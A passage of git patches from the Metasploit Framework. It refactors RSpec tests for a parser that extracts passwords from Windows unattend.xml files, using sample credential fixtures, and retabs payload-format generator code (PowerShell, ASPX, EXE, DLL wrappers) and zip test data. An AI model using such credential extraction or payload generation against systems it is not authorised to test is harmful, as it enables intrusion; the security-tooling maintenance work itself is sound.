<ProductKey>XXXX-XXXX-XXXX-XXXX-XXXX</ProductKey> </component> </settings></unattend>') -b64 = REXML::Document.new(' <?xml version="1.0" encoding="utf-8"?> <unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <AutoLogon> <Password> <Value>VABlAG0AcAAxADIAMwBQAGEAcwBzAHcAbwByAGQA</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> <FirstLogonCommands> <SynchronousCommand wcm:action="add"> <Order>1</Order> <CommandLine>powershell.exe -command {Set-ExecutionPolicy Unrestricted}</CommandLine> </SynchronousCommand> <SynchronousCommand wcm:action="add"> <Order>2</Order> <CommandLine>powershell.exe -file &quot;c:\Windows\System32\sysprep\2K12-1-rename.ps1&quot;</CommandLine> </SynchronousCommand> </FirstLogonCommands> <OOBE> <HideEULAPage>true</HideEULAPage> <HideOEMRegistrationScreen>true</HideOEMRegistrationScreen> <HideLocalAccountScreen>true</HideLocalAccountScreen> <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE> <HideOnlineAccountScreens>true</HideOnlineAccountScreens> <NetworkLocation>Work</NetworkLocation> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <UserAccounts> <AdministratorPassword> <Value>VABlAG0AcAAxADIAMwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFAAYQBzAHMAdwBvAHIAZAA=</Value> <PlainText>false</PlainText> </AdministratorPassword> </UserAccounts> </component> </settings> <cpi:offlineImage cpi:source="wim:c:/users/administrator/desktop/2k12-install.wim#Windows Server 2012 SERVERSTANDARD" xmlns:cpi="urn:schemas-microsoft-com:cpi" /> </unattend>') +b64 = REXML::Document.new('<?xml version="1.0" encoding="utf-8"?> <unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <AutoLogon> <Password> <Value>VABlAG0AcAAxADIAMwBQAGEAcwBzAHcAbwByAGQA</Value> <PlainText>false</PlainText> </Password> <Enabled>true</Enabled> <Username>Administrator</Username> </AutoLogon> <FirstLogonCommands> <SynchronousCommand wcm:action="add"> <Order>1</Order> <CommandLine>powershell.exe -command {Set-ExecutionPolicy Unrestricted}</CommandLine> </SynchronousCommand> <SynchronousCommand wcm:action="add"> <Order>2</Order> <CommandLine>powershell.exe -file &quot;c:\Windows\System32\sysprep\2K12-1-rename.ps1&quot;</CommandLine> </SynchronousCommand> </FirstLogonCommands> <OOBE> <HideEULAPage>true</HideEULAPage> <HideOEMRegistrationScreen>true</HideOEMRegistrationScreen> <HideLocalAccountScreen>true</HideLocalAccountScreen> <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE> <HideOnlineAccountScreens>true</HideOnlineAccountScreens> <NetworkLocation>Work</NetworkLocation> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <UserAccounts> <AdministratorPassword> <Value>VABlAG0AcAAxADIAMwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFAAYQBzAHMAdwBvAHIAZAA=</Value> <PlainText>false</PlainText> </AdministratorPassword> </UserAccounts> </component> </settings> <cpi:offlineImage cpi:source="wim:c:/users/administrator/desktop/2k12-install.wim#Windows Server 2012 SERVERSTANDARD" xmlns:cpi="urn:schemas-microsoft-com:cpi" /> </unattend>') comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="windowsPE"> <component name="Microsoft-Windows-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <WindowsDeploymentServices> <Login> <WillShowUI>OnError</WillShowUI> <Credentials> <Username>Administrator</Username> <Domain>Fabrikam.com</Domain> <Password>Password1</Password> </Credentials> </Login> <ImageSelection> <InstallImage> <ImageName>Install Image</ImageName> <ImageGroup>defaultx86</ImageGroup> <Filename>install.wim</Filename> </InstallImage> <WillShowUI>OnError</WillShowUI> <InstallTo> <DiskID>0</DiskID> <PartitionID>1</PartitionID> </InstallTo> </ImageSelection> </WindowsDeploymentServices> <DiskConfiguration> <WillShowUI>OnError</WillShowUI> <Disk> <DiskID>0</DiskID> <WillWipeDisk>false</WillWipeDisk> <ModifyPartitions> <ModifyPartition> <Order>1</Order> <PartitionID>1</PartitionID> <Letter>C</Letter> <Label>Vista</Label> <Format>NTFS</Format> <Active>true</Active> <Extend>false</Extend> </ModifyPartition> </ModifyPartitions> </Disk> </DiskConfiguration> </component> <component name="Microsoft-Windows-International-Core-WinPE" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SetupUILanguage> <WillShowUI>OnError</WillShowUI> <UILanguage>en-US</UILanguage> </SetupUILanguage> <UILanguage>en-US</UILanguage> </component></settings><settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <ComputerName>computer1</ComputerName> </component> <component name="Microsoft-Windows-TerminalServices-RDP-WinStationExtensions" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SecurityLayer>2</SecurityLayer> <UserAuthentication>2</UserAuthentication> </component> <component name="Microsoft-Windows-TerminalServices-LocalSessionManager" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <fDenyTSConnections>false</fDenyTSConnections> </component></settings><settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <OOBE> <HideEULAPage>true</HideEULAPage> <NetworkLocation>Work</NetworkLocation> <ProtectYourPC>1</ProtectYourPC> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <Display> <ColorDepth>32</ColorDepth> <DPI>96</DPI> <HorizontalResolution>1024</HorizontalResolution> <RefreshRate>60</RefreshRate> <VerticalResolution>768</VerticalResolution> </Display> <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>Password1</Value> <PlainText>true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') describe Rex::Parser::Unattend do - U = Rex::Parser::Unattend ## # Parse ## it "Parse returns passwords for b64" do - results = U.parse(b64) + results = described_class.parse(b64) results.length.should eq(2) results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) end it "Parse returns passwords for domain join" do - results = U.parse(dj) + results = described_class.parse(dj) results.length.should eq(1) results[0]['password'].should eq('Password1') end @@ -37,14 +36,14 @@ describe Rex::Parser::Unattend do it "Parse returns results for all positive examples" do pos_xmls.each do |xml| - results = U.parse(xml) + results = described_class.parse(xml) results.should_not be_empty end end it "Parse returns no results for negative examples" do neg_xmls.each do |xml| - results = U.parse(xml) + results = described_class.parse(xml) results.should be_empty end end From 5bab85fcdac079c12ea3e73051267f147f63cdcf Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 13:04:18 -0500 Subject: [PATCH 062/210] Use a context for #parse --- spec/lib/rex/parser/unattend_spec.rb | 55 ++++++++++++++-------------- 1 file changed, 27 insertions(+), 28 deletions(-) diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index d3536532c8..d911ae9c1e 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -14,37 +14,36 @@ b64 = REXML::Document.new('<?xml version="1.0" encoding="utf-8"?> <unattend x comb = REXML::Document.new('<unattend xmlns="urn:schemas-microsoft-com:unattend"> <settings pass="windowsPE"> <component name="Microsoft-Windows-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <WindowsDeploymentServices> <Login> <WillShowUI>OnError</WillShowUI> <Credentials> <Username>Administrator</Username> <Domain>Fabrikam.com</Domain> <Password>Password1</Password> </Credentials> </Login> <ImageSelection> <InstallImage> <ImageName>Install Image</ImageName> <ImageGroup>defaultx86</ImageGroup> <Filename>install.wim</Filename> </InstallImage> <WillShowUI>OnError</WillShowUI> <InstallTo> <DiskID>0</DiskID> <PartitionID>1</PartitionID> </InstallTo> </ImageSelection> </WindowsDeploymentServices> <DiskConfiguration> <WillShowUI>OnError</WillShowUI> <Disk> <DiskID>0</DiskID> <WillWipeDisk>false</WillWipeDisk> <ModifyPartitions> <ModifyPartition> <Order>1</Order> <PartitionID>1</PartitionID> <Letter>C</Letter> <Label>Vista</Label> <Format>NTFS</Format> <Active>true</Active> <Extend>false</Extend> </ModifyPartition> </ModifyPartitions> </Disk> </DiskConfiguration> </component> <component name="Microsoft-Windows-International-Core-WinPE" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SetupUILanguage> <WillShowUI>OnError</WillShowUI> <UILanguage>en-US</UILanguage> </SetupUILanguage> <UILanguage>en-US</UILanguage> </component></settings><settings pass="specialize"> <component name="Microsoft-Windows-UnattendedJoin" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <Identification> <UnsecureJoin>true</UnsecureJoin> </Identification> </component> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <ComputerName>computer1</ComputerName> </component> <component name="Microsoft-Windows-TerminalServices-RDP-WinStationExtensions" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SecurityLayer>2</SecurityLayer> <UserAuthentication>2</UserAuthentication> </component> <component name="Microsoft-Windows-TerminalServices-LocalSessionManager" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <fDenyTSConnections>false</fDenyTSConnections> </component></settings><settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <OOBE> <HideEULAPage>true</HideEULAPage> <NetworkLocation>Work</NetworkLocation> <ProtectYourPC>1</ProtectYourPC> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <Display> <ColorDepth>32</ColorDepth> <DPI>96</DPI> <HorizontalResolution>1024</HorizontalResolution> <RefreshRate>60</RefreshRate> <VerticalResolution>768</VerticalResolution> </Display> <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>Password1</Value> <PlainText>true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') describe Rex::Parser::Unattend do - - ## - # Parse - ## - it "Parse returns passwords for b64" do - results = described_class.parse(b64) - results.length.should eq(2) - results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) - end - it "Parse returns passwords for domain join" do - results = described_class.parse(dj) - results.length.should eq(1) - results[0]['password'].should eq('Password1') - end - - pos_xmls = [dj, b64, comb, std, lng] - - neg_xmls = [unsecure] - - it "Parse returns results for all positive examples" do - pos_xmls.each do |xml| - results = described_class.parse(xml) - results.should_not be_empty + context "#parse" do + it "returns passwords for b64" do + results = described_class.parse(b64) + results.length.should eq(2) + results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) end - end - it "Parse returns no results for negative examples" do - neg_xmls.each do |xml| - results = described_class.parse(xml) - results.should be_empty + it "returns passwords for domain join" do + results = described_class.parse(dj) + results.length.should eq(1) + results[0]['password'].should eq('Password1') + end + + pos_xmls = [dj, b64, comb, std, lng] + + neg_xmls = [unsecure] + + it "returns results for all positive examples" do + pos_xmls.each do |xml| + results = described_class.parse(xml) + results.should_not be_empty + end + end + + it "returns no results for negative examples" do + neg_xmls.each do |xml| + results = described_class.parse(xml) + results.should be_empty + end end end end From c94e8a616f919e12581c1d6cae02ff48a168b9be Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Fri, 27 Sep 2013 13:34:13 -0500 Subject: [PATCH 063/210] Retabbed to catch new bad tabs --- lib/msf/util/exe.rb | 68 +-- lib/rex/random_identifier_generator.rb | 30 +- lib/tasks/database.rake | 68 +-- lib/zip/test/data/file2.txt | 236 ++++---- lib/zip/test/data/generated/longAscii.txt | 708 +++++++++++----------- 5 files changed, 555 insertions(+), 555 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a3b014f52e..d47d83ab03 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -57,8 +57,8 @@ require 'msf/core/exe/segment_injector' end end - def self.read_replace_script_template(filename, hash_sub) - template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) + def self.read_replace_script_template(filename, hash_sub) + template_pathname = File.join(Msf::Config.data_directory, "templates", "scripts", filename) template = '' File.open(template_pathname, "rb") do |f| @@ -838,17 +838,17 @@ def self.to_vba(framework,code,opts={}) return read_replace_script_template("to_mem.aspx.template", hash_sub) end - def self.to_win32pe_psh_net(framework, code, opts={}) - hash_sub = {} - hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) + def self.to_win32pe_psh_net(framework, code, opts={}) + hash_sub = {} + hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8) + hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code]) @@ -1550,22 +1550,22 @@ def self.to_vba(framework,code,opts={}) when 'aspx' output = Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) - when 'aspx-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) - output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) + when 'aspx-exe' + exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts) + output = Msf::Util::EXE.to_exe_aspx(exe, exeopts) - when 'dll' - output = case arch - when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) - end - when 'exe' - output = case arch - when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_X64 then to_win64pe(framework, code, exeopts) - end + when 'dll' + output = case arch + when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) + end + when 'exe' + output = case arch + when ARCH_X86,nil then to_win32pe(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe(framework, code, exeopts) + when ARCH_X64 then to_win64pe(framework, code, exeopts) + end when 'exe-service' output = case arch @@ -1648,12 +1648,12 @@ def self.to_vba(framework,code,opts={}) output end - def self.to_executable_fmt_formats - [ - 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net' - ] - end + def self.to_executable_fmt_formats + [ + 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', + 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net' + ] + end # # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR diff --git a/lib/rex/random_identifier_generator.rb b/lib/rex/random_identifier_generator.rb index 257fdae54d..ab84faf3bc 100644 --- a/lib/rex/random_identifier_generator.rb +++ b/lib/rex/random_identifier_generator.rb @@ -66,22 +66,22 @@ class Rex::RandomIdentifierGenerator #} end - # Returns the @value_by_name hash - # - # @return [Hash] - def to_h - return @value_by_name - end + # Returns the @value_by_name hash + # + # @return [Hash] + def to_h + return @value_by_name + end - # Return a unique random identifier for +name+, generating a new one - # if necessary. - # - # @param name [Symbol] A descriptive, intention-revealing name for an - # identifier. This is what you would normally call the variable if - # you weren't generating it. - # @return [String] - def get(name) - return @value_by_name[name] if @value_by_name[name] + # Return a unique random identifier for +name+, generating a new one + # if necessary. + # + # @param name [Symbol] A descriptive, intention-revealing name for an + # identifier. This is what you would normally call the variable if + # you weren't generating it. + # @return [String] + def get(name) + return @value_by_name[name] if @value_by_name[name] @value_by_name[name] = generate @name_by_value[@value_by_name[name]] = name diff --git a/lib/tasks/database.rake b/lib/tasks/database.rake index 54847d3172..646db409ff 100644 --- a/lib/tasks/database.rake +++ b/lib/tasks/database.rake @@ -7,28 +7,28 @@ require 'metasploit/framework/database' # # @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550 def configs_for_environment - environments = [Metasploit::Framework.env] + environments = [Metasploit::Framework.env] - if Metasploit::Framework.env.development? - environments << 'test' - end + if Metasploit::Framework.env.development? + environments << 'test' + end - environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) - present_environment_configurations = environment_configurations.compact - valid_environment_configurations = present_environment_configurations.reject { |config| - config['database'].blank? - } + environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) + present_environment_configurations = environment_configurations.compact + valid_environment_configurations = present_environment_configurations.reject { |config| + config['database'].blank? + } - valid_environment_configurations + valid_environment_configurations end # emulate initializer "active_record.initialize_database" from active_record/railtie ActiveSupport.on_load(:active_record) do - self.configurations = Metasploit::Framework::Database.configurations - puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" + self.configurations = Metasploit::Framework::Database.configurations + puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" - spec = configurations[Metasploit::Framework.env] - establish_connection(spec) + spec = configurations[Metasploit::Framework.env] + establish_connection(spec) end # @@ -36,9 +36,9 @@ end # Rake::TaskManager.class_eval do - def remove_task(task_name) - @tasks.delete(task_name.to_s) - end + def remove_task(task_name) + @tasks.delete(task_name.to_s) + end end Rake.application.remove_task('db:fixtures:load') @@ -49,25 +49,25 @@ Rake::Task['db:load_config'].clear Rake::Task['db:seed'].clear db_namespace = namespace :db do - task :load_config do - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations + task :load_config do + ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - ActiveRecord::Migrator.migrations_paths = [ - # rails isn't in Gemfile, so can't use the more appropriate - # Metasploit::Engine.instance.paths['db/migrate'].to_a since using - # Metasploit::Engine requires rails. - MetasploitDataModels.root.join('db', 'migrate').to_s - ] - end + ActiveRecord::Migrator.migrations_paths = [ + # rails isn't in Gemfile, so can't use the more appropriate + # Metasploit::Engine.instance.paths['db/migrate'].to_a since using + # Metasploit::Engine requires rails. + MetasploitDataModels.root.join('db', 'migrate').to_s + ] + end - desc 'Load the seed data from db/seeds.rb' - task :seed do - db_namespace['abort_if_pending_migrations'].invoke - seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') + desc 'Load the seed data from db/seeds.rb' + task :seed do + db_namespace['abort_if_pending_migrations'].invoke + seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') - if seeds_pathname.exist? - load(seeds_pathname) - end - end + if seeds_pathname.exist? + load(seeds_pathname) + end + end end diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt index cc9ef6ad5b..57221d1adf 100644 --- a/lib/zip/test/data/file2.txt +++ b/lib/zip/test/data/file2.txt @@ -90,13 +90,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -110,29 +110,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -223,8 +223,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -326,13 +326,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -342,11 +342,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -435,16 +435,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -456,7 +456,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -465,7 +465,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -494,18 +494,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -513,10 +513,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -524,24 +524,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -552,10 +552,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -783,9 